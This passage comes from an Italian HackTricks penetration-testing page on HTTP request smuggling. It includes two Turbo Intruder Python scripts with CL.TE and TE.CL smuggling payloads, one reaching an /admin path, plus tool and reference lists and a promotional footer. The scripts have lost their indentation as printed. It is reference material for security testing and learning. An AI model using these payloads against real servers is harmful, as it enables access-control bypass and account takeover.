{% content-ref url="browser-http-request-smuggling.md" %}
[browser-http-request-smuggling.md](browser-http-request-smuggling.md)
{% endcontent-ref %}

* Smuggling delle Richieste in Downgrade HTTP/2

{% content-ref url="request-smuggling-in-http-2-downgrades.md" %}
[request-smuggling-in-http-2-downgrades.md](request-smuggling-in-http-2-downgrades.md)
{% endcontent-ref %}

## Script di Turbo Intruder

### CL.TE

Da [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
```python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)
```
### TE.CL

Da: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)
```
## Strumenti

* [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Questo strumento è un Fuzzer HTTP basato su grammatica utile per trovare strane discrepanze di smuggling di richieste.

## Riferimenti

* [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
* [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
* [https://portswigger.net/web-security/request-smuggling/exploiting](https://portswigger.net/web-security/request-smuggling/exploiting)
* [https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4](https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4)
* [https://github.com/haroonawanofficial/HTTP-Desync-Attack/](https://github.com/haroonawanofficial/HTTP-Desync-Attack/)
* [https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html](https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html)
* [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)

<details>

<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**PEASS ufficiale & HackTricks swag**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>